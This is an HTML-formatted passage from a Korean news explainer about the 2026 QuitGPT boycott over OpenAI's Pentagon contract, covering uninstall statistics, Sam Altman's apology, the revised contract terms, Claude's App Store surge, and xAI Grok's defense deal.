&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;전일 대비&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Claude App Store 순위&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;42위 -&amp;gt; 1위&lt;/b&gt; (미국 무료 앱 부문)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2월 초 대비 3월 1일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;QuitGPT 참여자 수&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;150만 명+&lt;/b&gt; (첫 주) &lt;br /&gt;&lt;b&gt;250만 명+&lt;/b&gt; (누적, 3월 초)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;구독 취소 + 서명 + 소셜 공유 합산&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;OpenAI 추정 월매출 손실&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;약 3,000만 달러 이상&lt;/b&gt; (약 435억 원)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;유료 구독자 약 150만 명 이탈 기준 추정 (보도 기반)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://techcrunch.com/2026/03/02/chatgpt-uninstalls-surged-by-295-after-dod-deal/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechCrunch - Sensor Tower 데이터&lt;/a&gt;, &lt;a href=&quot;https://www.euronews.com/next/2026/03/02/cancel-chatgpt-ai-boycott-surges-after-openai-pentagon-military-deal&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Euronews&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;수치 해석 시 주의&lt;/b&gt; &lt;br /&gt;QuitGPT의 &quot;150만 명&quot; 수치는 실제 구독 취소 건수, 소셜 미디어 공유, 웹사이트 서명을 합산한 것이다. 실제 유료 구독 취소 건수와는 다를 수 있다. 다만 Sensor Tower의 앱 삭제율 295% 급증은 독립적인 제3자 데이터로, 사용자 이탈이 실제로 발생했음을 뒷받침한다. 또한 월매출 손실 3,000만 달러는 보도에 기반한 추정치이며, OpenAI의 공식 확인은 없다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;불매운동의 배경 요인들&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;QuitGPT 운동이 단순한 감정적 반응을 넘어 이 정도 규모로 확산된 데에는 복합적인 요인이 있었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 타이밍의 문제&lt;/b&gt;: Anthropic이 윤리적 이유로 퇴출당한 바로 그날 OpenAI가 계약을 체결한 것은, 많은 사용자에게 &quot;Anthropic의 빈자리를 기다렸다가 기회주의적으로 차지했다&quot;는 인상을 주었다. Sam Altman 본인도 이 타이밍에 대해 &quot;서두르지 말았어야 했다&quot;고 인정한 바 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. OpenAI의 원래 사명과의 괴리&lt;/b&gt;: OpenAI는 원래 &quot;인류 전체에 이로운 AI&quot;를 만들겠다는 비영리 조직으로 출발했다. 군사 계약은 이 사명과 정면으로 충돌한다고 느끼는 사용자가 많았다. 특히 2024년에 이미 이용약관에서 &quot;군사 및 전쟁&quot; 금지 문구를 조용히 삭제한 이력이 있어, &quot;점진적으로 원래 가치를 버리고 있다&quot;는 비판이 힘을 얻었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 누적된 불만의 폭발&lt;/b&gt;: 앞서 언급한 ICE 이력서 심사 도구 논란, GPT-5.2 성능 문제, 경영진 정치 후원금 등 여러 불만이 쌓여 있던 상태에서 Pentagon 계약이 '마지막 한 방울(the last straw)'이 된 셈이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. 대안의 존재&lt;/b&gt;: 과거의 기술 불매운동과 달리, 사용자들에게는 Claude, Gemini, Grok 등 즉시 전환 가능한 대안이 있었다. 불매운동의 비용이 낮았다는 뜻이다. AI 도구 시장의 경쟁이 치열한 상황에서, 사용자가 윤리적 이유로 다른 서비스로 전환하는 것이 기술적으로도 심리적으로도 쉬워진 것이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5. 소셜 미디어 바이럴&lt;/b&gt;: #QuitGPT, #CancelChatGPT 해시태그가 X(트위터)에서 트렌딩에 올랐고, 구독 취소 스크린샷을 공유하는 것이 일종의 &quot;윤리적 선언&quot;처럼 확산되었다. Euronews, KTVU FOX 등 주류 매체도 이 운동을 앞다투어 보도하면서 확산을 가속화했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;과거 기술 기업 불매운동과의 비교&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;QuitGPT 운동의 규모를 맥락화하기 위해, 과거 주요 기술 기업 불매운동과 비교해본다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;사건&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;시기&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;결과&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Google Project Maven 반발&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2018년&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;직원 4,000명 서명, 수십 명 사임. Google이 계약을 갱신하지 않기로 결정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;#DeleteFacebook&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2018년&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Cambridge Analytica 스캔들 후 확산. 단기적 사용자 감소 후 회복&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;#QuitGPT&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;2026년&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;150만~250만 명 참여. 삭제율 295% 급증. 경쟁사(Claude) App Store 1위. 계약 조건 수정으로 이어짐&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;QuitGPT 운동이 이전 사례와 다른 점은, 사용자 이탈이 실제로 경쟁사의 측정 가능한 성장으로 전환되었다는 것이다. #DeleteFacebook 당시에는 Facebook에 대한 실질적 대안이 부재했지만, AI 도구 시장에서는 Claude, Gemini 등 즉시 전환 가능한 경쟁 서비스가 존재했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 4: Sam Altman의 대응 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 id=&quot;section4&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. Sam Altman의 대응 -- &quot;opportunistic and sloppy&quot; 인정&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;내부 메모와 공개 발언&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;사용자 반발이 거세지자, Sam Altman은 2026년 3월 3일 내부 메모와 공개 발언을 통해 자신의 실수를 인정했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Altman은 내부 직원들에게 보낸 메모에서 이렇게 밝혔다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-style: italic; line-height: 1.9;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;We were genuinely trying to de-escalate things and avoid a much worse outcome, but I think it just looked opportunistic and sloppy.&quot;&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0 0 0; font-size: 14px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;우리는 진심으로 상황을 완화하고 더 나쁜 결과를 피하려 했지만, 그저 기회주의적이고 엉성해 보였을 뿐이라고 생각한다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;또한 Altman은 금요일(2월 28일)에 계약을 서둘러 발표한 것이 실수였다고 인정하며, &quot;서두르지 말았어야 했다(shouldn't have rushed)&quot;고 말했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Altman의 해명에는 &quot;상황을 완화(de-escalate)&quot;하려 했다는 표현이 눈에 띈다. 이는 OpenAI가 계약을 체결하지 않으면 Pentagon이 더 제한이 적은 다른 기업과 계약할 것이고, 그 경우 안전장치가 더 약해질 수 있다는 논리로 해석된다. Altman은 Fortune과의 인터뷰에서도 OpenAI가 계약에 참여함으로써 안전장치를 넣을 수 있는 기회를 확보하려 했다고 설명했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그러나 Altman은 계약 자체를 철회하지는 않았다. 대신, 직원들에게 보낸 별도의 메모에서 군의 &quot;작전상 결정(operational decisions)&quot;은 정부의 몫이라는 입장을 밝혔다. 이는 AI 모델을 제공하는 것과 그것을 어떻게 사용하는지는 별개의 문제라는 논리였다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://www.cnbc.com/2026/03/03/openai-sam-altman-pentagon-deal-amended-surveillance-limits.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CNBC&lt;/a&gt;, &lt;a href=&quot;https://fortune.com/2026/03/03/sam-altman-openai-pentagon-renegotiating-deal-anthropic/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fortune&lt;/a&gt;, &lt;a href=&quot;https://www.cnbc.com/2026/03/03/sam-altman-tells-openai-staff-operational-decisions-up-to-government.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CNBC - 내부 메모&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;계약 수정 내용&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Altman의 사과와 함께, OpenAI는 Pentagon과의 계약 조건을 수정했다고 발표했다. Axios와 NBC News의 보도를 기반으로 수정된 주요 내용을 정리한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;수정 전&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;수정 후&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; font-weight: 600;&quot;&gt;국내 감시&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&quot;의도적(intentionally)&quot; 사용 금지 (해석 여지 있음)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;미국 시민 대상 국내 대규모 감시를 명시적으로 금지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; font-weight: 600;&quot;&gt;정보기관 사용&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;별도 제한 없음&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;NSA 등 정보기관 사용 시 별도 계약 수정(follow-on modification) 필요. Altman이 X에서 직접 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; font-weight: 600;&quot;&gt;자율 무기&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&quot;부서 정책이 요구하는 경우&quot; 인간 통제&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;기존 조항 유지 (변경 없음)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의&lt;/b&gt; &lt;br /&gt;자율 무기 관련 조항은 수정되지 않았다. 여전히 &quot;법률, 규정, 또는 부서 정책이 인간 통제를 요구하는 경우&quot;에만 자율 무기 사용이 제한되며, 국방부가 해당 정책을 변경하면 제한이 사라질 수 있다는 법적 허점은 그대로 남아 있다. 이 부분은 비판자들이 가장 강하게 문제 제기한 지점이며, Altman의 사과에도 불구하고 해결되지 않은 핵심 쟁점이다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://www.axios.com/2026/03/03/openai-pentagon-ai-surveillance&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Axios&lt;/a&gt;, &lt;a href=&quot;https://www.nbcnews.com/tech/tech-news/openai-alters-deal-pentagon-critics-sound-alarm-surveillance-rcna261357&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;NBC News&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Altman의 신뢰 위기 맥락&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이번 사건은 Altman에게 처음 있는 신뢰 위기가 아니다. Fast Company는 이 사건이 &quot;다시 한번 Altman의 신뢰성에 의문을 제기한다&quot;고 보도했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Altman의 리더십에 대한 주요 논란을 시간순으로 정리하면:&lt;/p&gt;
&lt;ul style=&quot;margin: 15px 0; padding-left: 25px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;2023년 11월&lt;/b&gt;: OpenAI 이사회에 의한 해임과 복귀 사태&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;2024년&lt;/b&gt;: 비영리에서 영리 구조로의 전환 추진&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;2024년 1월&lt;/b&gt;: 군사 사용 금지 조항 조용히 삭제&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;2026년 2월&lt;/b&gt;: Pentagon 기밀 시스템 계약 체결&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Futurism은 &quot;Sam Altman은 자신이 거대한 실수를 저질렀다는 것을 깨닫고 있다(Is Realizing He Made a Gigantic Mistake)&quot;라는 기사를 게재하기도 했다. 누적된 논란 속에서 이번 Pentagon 계약이 사용자 신뢰의 임계점을 넘긴 것으로 보인다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://www.fastcompany.com/91502961/openais-pentagon-deal-once-again-calls-sam-altmans-credibility-into-question&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fast Company&lt;/a&gt;, &lt;a href=&quot;https://futurism.com/artificial-intelligence/sam-altman-admits-huge-mistake&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Futurism&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 5: 파급 효과 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 id=&quot;section5&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 파급 효과 -- Claude #1, Grok 채택, 직원 사임&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Claude의 App Store 1위 등극&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Pentagon 사태의 가장 극적인 수혜자는 Anthropic이었다. 2026년 3월 1일, Claude 앱이 미국 Apple App Store 무료 앱 부문에서 1위를 차지했다. 2월 초만 해도 42위 부근이었던 앱이, 단 며칠 만에 1위까지 치솟은 것이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Axios는 &quot;Anthropic이 Pentagon에 의해 블랙리스트에 올랐다. 그러자 Claude가 App Store 1위에 올랐다&quot;라는 제목으로 이 아이러니한 상황을 보도했다. 정부에 의해 퇴출당한 기업이 오히려 소비자 시장에서 전례 없는 성장을 경험한 것이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Anthropic의 성장 수치 분석&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic이 공개한 수치와 보도에 따르면, 이 사건 이후의 성장세는 다음과 같았다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;지표&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;수치&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기간&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;무료 사용자 증가율&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;60% 이상 증가&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2026년 초 이후&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;일일 신규 가입자 수&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;4배 증가&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;연초 대비&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;유료 구독자 수&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;2배 이상 증가&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;같은 기간&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;다만 급격한 사용자 유입에 Claude도 진통을 겪었다. CNBC 보도에 따르면, App Store 1위에 오른 직후 Claude에 '오류 증가(elevated errors)' 현상이 발생했다. 갑자기 늘어난 트래픽을 감당하기 어려웠던 것으로 보인다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;TechCrunch는 3월 6일 &quot;Claude의 소비자 성장 급등이 Pentagon 딜 사태 이후에도 계속되고 있다&quot;고 후속 보도했다. 단발성 반사이익이 아니라 지속적인 성장세로 이어지고 있다는 분석이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://techcrunch.com/2026/03/01/anthropics-claude-rises-to-no-2-in-the-app-store-following-pentagon-dispute/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechCrunch&lt;/a&gt;, &lt;a href=&quot;https://www.cnn.com/2026/03/03/tech/anthropic-claude-ai-app-pentagon&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CNN&lt;/a&gt;, &lt;a href=&quot;https://www.cnbc.com/2026/03/02/anthropic-claude-ai-outage-apple-pentagon.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CNBC&lt;/a&gt;, &lt;a href=&quot;https://techcrunch.com/2026/03/06/claudes-consumer-growth-surge-continues-after-pentagon-deal-debacle/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechCrunch - 후속 보도&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;xAI Grok의 Pentagon 진입&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic이 빠진 자리를 채운 것은 OpenAI만이 아니었다. Elon Musk의 xAI도 2026년 2월 23일, Pentagon 사태가 본격화되기 전에 이미 Grok 모델의 기밀 시스템 배포 계약을 체결한 상태였다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Axios 보도에 따르면, xAI는 Anthropic이 거부한 &quot;모든 합법적 사용(all lawful use)&quot; 조건을 그대로 수용했다. Grok은 미군의 정보 분석, 무기 개발, 전장 작전 등에 활용될 수 있게 되었다. TechRepublic은 이를 &quot;xAI, Grok을 기밀 군사 시스템에 투입하는 계약을 체결&quot;이라고 보도했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;결과적으로 Pentagon의 기밀 시스템에는 기존 Anthropic Claude 대신 OpenAI와 xAI Grok이 자리를 차지하게 되었다. 다만 Fortune 보도에 따르면, Pentagon 관계자들도 Anthropic이 얼마나 &quot;필수불가결(indispensable)&quot;한 존재였는지를 깨달았다는 반응을 보인 것으로 알려졌다. xAI와 OpenAI가 Anthropic의 역할을 완전히 대체할 수 있을지는 아직 불확실하다는 것이 보도의 뉘앙스였다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://www.axios.com/2026/02/23/ai-defense-department-deal-musk-xai-grok&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Axios&lt;/a&gt;, &lt;a href=&quot;https://fortune.com/2026/03/07/pentagon-emil-michael-anthropic-claude-defense-ai-openai-iran-war-palantir/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fortune&lt;/a&gt;, &lt;a href=&quot;https://www.techrepublic.com/article/news-xai-grok-pentagon-classified-ai-deal/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechRepublic&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;OpenAI 로보틱스 팀장 사임&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 7일, OpenAI의 로보틱스 팀장 &lt;b&gt;Caitlin Kalinowski&lt;/b&gt;가 Pentagon 계약을 이유로 사임했다. Bloomberg, TechCrunch, Fortune, Reuters 등 주요 매체가 일제히 보도했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Kalinowski는 사임 발표에서 이렇게 밝혔다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-style: italic; line-height: 1.9;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Surveillance of Americans without judicial oversight and lethal autonomy without human authorization are lines that deserved more deliberation than they got.&quot;&lt;/p&gt;
